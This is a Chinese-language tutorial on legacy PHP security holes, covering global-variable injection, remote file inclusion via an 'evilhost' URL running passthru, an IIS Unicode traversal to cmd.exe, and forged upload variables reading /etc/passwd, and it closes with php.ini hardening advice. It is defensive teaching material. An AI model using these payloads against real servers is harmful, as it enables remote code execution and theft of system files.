http://www.26300.hk/tech/PHP/2388.htm
綜述：PHP程式也不是固若金湯，隨著PHP的廣泛運用，一些黑客們也在無時不想找PHP的麻煩，透過PHP程式漏洞進行攻擊就是其中一種。在節，我們將從全局變數，遠程文件，文件上載，庫文件，Session文件，數據類型和容易齣錯的函數這幾個方面分析了PHP的安全性。
如何透過全局變數進行攻擊？
PHP中的變數不需要事先聲明，它們會在第一次使用時自動創建，它們的類型根據上下文環境自動確定。從程式員的角度來看，這無疑是一種極其方便的處理方法。一旦一個變數被創建了，就可以在程式中的任何地方使用。這個特點導致的結果就是程式員很少初始化變數。
很顯然，基於PHP的應用程式的主函數一般都是接受用戶的輸入（主要是表單變數，上載文件和Cookie等），然後對輸入數據進行處理，然後把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易，實際上PHP是把這些輸入數據看作全局變數來處理的。
例如：
程式代碼
＜FORM METHOD="GET" ACTION="test.php"＞
＜INPUT TYPE="TEXT" NAME="hello"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞ |
這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時，"test.php"會處理用戶的輸入，當
"test.php"運行時，"$hello"會包含用戶在文本框輸入的數據。從這裡我們應該看齣，攻擊者可以按照自己的意願創建任意的全局變數。如果攻
擊者不是透過表單輸入來調用"test.php"，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=
hi&setup=no，那麼，不止是"$hello"被創建，"$setup"也被創建了。
下面的用戶認證代碼暴露了PHP的全局變數所導致的安全問題：
程式代碼
＜?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?＞ |
上面的代碼首先檢查用戶的密碼是否為"hello"，如果匹配的話，設置"$auth"為"1"，即透過認證。之後如果"$suth"為"1"的話，就會顯示一些重要資訊。
這段代碼假定"$auth"在沒有設置值的時候是空的，但是攻擊者可以創建任何全局變數並賦值，透過類似"http://server/test.php?auth=1"的方法，我們完全可以欺騙這段代碼，使它相信我們是已經認證過的。
因此，為了提高PHP程式的安全性，我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話，這可是一項非常艱巨的任務。
一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變數，這依賴於我們的提交方式（GET或POST）。當PHP配置為打開"track_vars"選項的話（這是缺省值），用戶提交的變數就可以在全局變數和上面提到的數組中獲得。
但是值得說明的是，PHP有四個不同的數組變數用來處理用戶的輸入。
HTTP_GET_VARS數組用來處理GET方式提交的變數，HTTP_POST_VARS數組用於處理POST方式提交的變數；
HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變數，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完
全是用戶用來提交變數的一種可選方式。用戶的一個請求可以很容易的把變數存在這四個數組中，因此一個安全的PHP程式應該檢查這四個數組。
如何透過遠程文件進行攻擊？
PHP是一種具有豐富特性的語言，提供了大量的函數，使編程者很容易實現特定功能。但是從安全的角度來看，功能越多，要保證它的安全性就越難，遠程文件就佐證這個問題的一個很好例子：
程式代碼
＜?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?＞ |
上面的腳本試圖打開文件"$filename"，如果失敗就顯示錯誤資訊。很明顯，如果我們能夠指定"$
filename"的話，就能利用這個腳本瀏覽系統中的任何文件。但是，這個腳本還存在一個不太明顯的特性，那就是它可以從任何其他WEB或FTP站點讀
取文件。實際上，PHP的大多數文件處理函數對遠程文件的處理是透明的。
例如：
如果指定"$filename"為 http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
則上面的代碼實際上是利用主機target上的unicode漏洞，執行了dir命令。這使得支持遠程文件的
include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包
含指定文件的內容，並且把它們按照PHP代碼解釋，主要是用在庫文件上。
例如：
程式代碼
＜?php
include($libdir . "/languages.php");
?＞ |
上例中"$libdir"一般是一個在執行代碼前已經設置好的路徑，如果攻擊者能夠使得"$libdir"沒有
被設置的話，那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情，因為他們隻能在他們指定的路徑中訪問文件languages.php（perl中的
"Poisonnull
byte"攻擊對PHP沒有作用）。但是由於有了對遠程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個文件
languages.php，包含如下內容：
程式代碼
＜?php
passthru("/bin/ls /etc");
?＞ |
然後把"$libdir"設置為"http://＜evilhost＞/"，這樣我們就可以在目標主機上執行上面的攻擊代碼，"/etc"目錄的內容將作為結果返回到客戶的瀏覽器中。
需要注意的是，攻擊代碼是不會在自身所在的伺服器（也就是evilhost）上執行執行自身PHP程式的，否則，攻擊代碼會攻擊自身所在的伺服器，而不是在目標伺服器執行。
如何透過文件上載進行攻擊？
PHP自動支持基於RFC 1867的文件上載，我們看下面的例子：
程式代碼
＜FORM METHOD="POST" ENCTYPE="multipart/form-data"＞
＜INPUT TYPE="FILE" NAME="hello"＞
＜INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞ |
上面的代碼讓用戶從本地機器選擇一個文件，當點擊提交後，文件就會
被上載到伺服器。這顯然是很有用的功能，但是PHP的響應方式將使這項功能變得不安全。當PHP第一次接到這種請求，甚至在它開始解析被調用的PHP代碼
之前，它會先接受遠程用戶的文件，檢查文件的長度是否超過"$MAX_FILE_SIZE
variable"定義的值，如果透過這些測試的話，文件就會被存在本地的一個臨時目錄中。
因此，攻擊者可以發送任意文件給運行PHP的主機，在PHP程式還沒有決定是否接受文件上載時，文件已經被存在伺服器上了。
讓我們考慮一下處理文件上載的PHP程式，正如我們上面說的，文件
被接收並且是存在伺服器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似"phpxXuoXG"的形式。PHP程式需要上載文
件的資訊以便處理它，這可以透過兩種方式，一種方式是在PHP3中已經使用的，另一種是在我們對以前的方法提齣安全公告後引入的。
大多數PHP程式還是使用老的方式來處理上載文件。PHP設置了四個全局變數來描述上載文件，比如說上面的例子：
程式代碼
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain") |
然後，PHP程式開始處理根據"$hello"指定的文件。問題在於"$hello"不一定是一個PHP設置的變數，任何遠程用戶都可以指定它。如果我們使用下面的方式：
http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt |
就導致了下面的PHP全局變數（當然POST方式也可以（甚至是Cookie））：
程式代碼
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt" |
上面的表單數據正好滿足了PHP程式所期望的變數，但是這時PHP程式不再處理本應在上載者本機上的上載文件，而是處理伺服器上"/etc/passwd"（通常會導致內容暴露）文件。這種攻擊可以用於暴露任何敏感文件的內容。
新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某個文件是不是實際上載的文件。但是實際上肯定有很多PHP程式仍然使用舊的方法，所以也很容易受到這種攻擊。
作為文件上載的攻擊方法的一個變種，我們看一下下面的一段代碼：
程式代碼
＜?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?＞ |
如果攻擊者可以控制"$theme"的話，很顯然它可以利用"$
theme"來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程伺服器上執行任意指令，但是他無法使用遠程文件，因此，他必須得在遠程伺服器上創建一
個PHP文件。這乍看起來好象是不可能的，但是文件上載幫了我們這個忙，如果攻擊者先在本地機器上創建一個包含PHP代碼的文件，然後創建一個包含名為
"theme"的文件域的表單，最後用這個表單透過文件上載把創建的包含PHP代碼的文件提交給上面的代碼，PHP就會把攻擊者提交的文件保存起來，並把
"$theme"的值設置為攻擊者提交的文件，這樣file_exists()函數會檢查透過，攻擊者的代碼也將執行。
獲得執行任意指令的能力之後，攻擊者顯然想提升許可權或者是擴大戰
果，而這又需要一些伺服器上沒有的工具集，而文件上載又一次幫了攻擊者的忙。攻擊者可以使用文件上載功能上載工具，把她們存在伺服器上，然後利用他們執行
指令的能力，使用chmod()改變文件的許可權，然後執行。
例如：攻擊者可以繞過防火牆或IDS上載一個本地root攻擊程式，然後執行，這樣就獲得了root許可權。
如何透過庫文件進行攻擊？
正如我們前面討論的那樣，include()和require()主要是為了支持代碼庫，因為我們一般是把一些經常使用的函數放到一個獨立的文件中，這個獨立的文件就是代碼庫，當需要使用其中的函數時，我們隻要把這個代碼庫包含到當前的文件中就可以了。
最初，人們開發和發佈PHP程式的時候，為了區別代碼庫和主程式代
碼，一般是為代碼庫文件設置一個".inc"的擴展名，但是他們很快發現這是一個錯誤，因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們
直接請求伺服器上的這種文件時，我們就會得到該文件的源代碼，這是因為當把PHP作為Apache的模組使用時，PHP解釋器是根據文件的擴展名來決定是
否解析為PHP代碼的。擴展名是站點管理員指定的，一般是".php"，
".php3"和".php4"。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中，那麼遠程攻擊者很容易得到這些資訊。
最簡單的解決方法就是：給每個文件都指定一個PHP文件的擴展名，這樣可以很好的防止洩露源代碼的問題，但是又產生了新的問題，透過請求這個文件，攻擊者可能使本該在上下文環境中運行的代碼獨立運行，這可能導致前面討論的全部攻擊。
下面是一個很明顯的例子：
In main.php：
程式代碼
＜?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?＞ |
In libdir/loadlanguage.php：
＜?php
...
include("$langDir/$userLang");
?＞ |
當"libdir/loadlanguage.php"被
"main.php"調用時是相當安全的，但是因為"libdir/loadlanguage"具有".php"的擴展名，因此遠程攻擊者可以直接請求這
個文件，並且可以任意指定"$langDir"和"$userLang"的值。
如何透過Session文件進行攻擊？
PHP
4或更新的版本提供了對sessions的支持，它的主要作用是在PHP程式中保存頁與頁之間的狀態資訊。例如，當一個用戶登陸進入網站，他登陸了的這個
事實以及誰登陸進入這個網站的相關資訊都將被保存在session中，當他在網站中到處瀏覽時，所有的PHP代碼都可以獲得這些狀態資訊。
事實上，當一個session啟動時（實際上是在配置文件中設置為
在第一次請求時自動啟動），就會生成一個隨機的"session id"，如果遠程瀏覽器總是在發送請求時提交這個"session
id"的話，session就會一直保持。這透過Cookie很容易實現，也可以透過在每頁提交一個表單變數（包含"session
id"）來實現。PHP程式可以用session註冊一個特殊的變數，它的值會在每個PHP腳本結束後存在session文件中，也會在每個PHP腳本開
始前載入到變數中。下面是一個簡單的例子：
程式代碼
＜?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?＞ |
新版本的PHP都會自動把"$session_auth"的值設置為"shaun"，如果它們被修改的話，以後的腳本都會自動接受修改後的值，這對無狀態的Web來說的確是種很不錯的工具，但是我們也應該小心。
一個很明顯的問題就是確保變數的確來自session，例如，給定上面的代碼，如果後續的腳本是下面這樣的話：
＜?php
if (!empty($session_auth))
// Grant access to site here
?＞ |
上面的代碼假定如果"$session_auth"被賦值的話，就
是從session，而不是從用戶輸入來賦值的，如果攻擊者透過表單輸入來賦值的話，他就可以獲得對站點的訪問權。注意攻擊者必須在session註冊該
變數之前使用這種攻擊方法，一旦變數被放進了session，就會覆蓋任何表單輸入。
Session數據一般是保存在文件中（位置是可配置的，一般是
"/tmp"），文件名一般是類似"sess_＜session
id＞"的形式，這個文件包含變數名稱，變數類型，變數值和一些其他的數據。在多主機系統中，因為文件是以運行Web伺服器的用戶身份（一般是
nobody）保存的，因此惡意的站點擁有者就可以透過創建一個session文件來獲得對其他站點的訪問，甚至可以檢查session文件中的敏感資
訊。
Session機制也為攻擊者把自己的輸入保存在遠程系統的文件中
提供了另一個方便。對於上面的例子來說，攻擊者需要在遠程系統放置一個包含PHP代碼的文件，如果不能利用文件上載做到的話，他通常會利用session
為一個變數按照自己的意願賦一個值，然後猜測session文件的位置，而他知道文件名是"php＜session
id＞"，所以隻需猜測目錄，而目錄一般就是"/tmp"。
另外，攻擊者可以任意指定"session id"（例如"hello"），然後用這個"session id"創建一個session文件（例如"/tmp/sess_hello"），但是"session id"隻能是字母和數位組合。
PHP具有比較鬆散的數據類型，變數的類型依賴於它們所處的上下文環
境。例如："$hello"開始是字符串變數，值為""，但是在求值時，就變成了整形變數"0"，這有時可能會導致一些意想不到的結果。如果"$
hello"的值為"000"還是為"0"是不同的，empty()返回的結果也不會為真。
PHP中的數組是關聯數組，也就是說，數組的索引是字符串型的。這意味著"$hello["000"]"和"$hello[0]"也是不同的。
開發程式的時候應該仔細地考慮上面的問題，例如，我們不應該在一個地方測試某個變數是否為"0"，而在另外的地方使用empty()來驗證。
如何透過容易齣錯的函數進行攻擊？下面是一份比較詳細的容易齣錯的函數列表：
＜PHP代碼執行＞
require()：讀取指定文件的內容並且作為PHP代碼解釋
include()：同上
eval()：把給定的字符串作為PHP代碼執行
preg_replace()：當與"/e"開關一起使用時，替換字符串將被解釋為PHP代碼 |
＜命令執行＞
exec()：執行指定的命令，返回執行結果的最後一行
passthru()：執行指定命令，返回所有結果到客戶瀏覽器
``：執行指定命令，返回所有結果到一個數組
system()：同passthru()，但是不處理二進位數據
popen()：執行指定的命令，把輸入或輸齣連接到PHP文件描述符 |
＜文件洩露＞
fopen()：打開文件，並對應一個PHP文件描述符
readfile()：讀取文件的內容，然後輸齣到客戶瀏覽器
file()：把整個文件內容讀到一個數組中 |
如何增強PHP的安全性？
我們在上面介紹的所有攻擊對於缺省安裝的PHP4都可以很好的實現，但是PHP的配置非常靈活，透過配置一些PHP選項，我們完全可能抵抗其中的一些攻擊。下面我們按照實現的難度對一些配置進行了分類：
*低難度
**中低難度
***中高難度
****高難度
如果你使用了PHP提供的所有選項的話，那麼你的PHP將是很安全的，即使是第三方的代碼也是如此，因為其中很多功能已經不能使用。
**** 設置"register_globals"為"off"
這個選項會禁止PHP為用戶輸入創建全局變數，也就是說，如果用戶
提交表單變數"hello"，PHP不會創建"$
hello"，而隻會創建"HTTP_GET/POST_VARS['hello']"。這是PHP中一個極其重要的選項，關閉這個選項，會給編程帶來很
大的不便。
*** 設置"safe_mode"為"on"
打開這個選項，會增加如下限制：
1． 限制哪個命令可以被執行
2． 限制哪個函數可以被使用
3． 基於腳本所有權和目標文件所有權的文件訪問限制
4． 禁止文件上載功能
這對於ISP來說是一個"偉大"的選項，同時它也能極大地改進PHP的安全性。
** 設置"open_basedir"
這個選項可以禁止指定目錄之外的文件操作，有效地消除了本地文件或者是遠程文件被include()的攻擊，但是仍需要注意文件上載和session文件的攻擊。
** 設置"display_errors"為"off"，設置"log_errors"為"on"
這個選項禁止把錯誤資訊顯示在網頁中，而是記錄到日誌文件中，這可以有效的抵制攻擊者對目標腳本中函數的探測。
* 設置"allow_url_fopen"為"off"
這個選項可以禁止遠程文件功能。
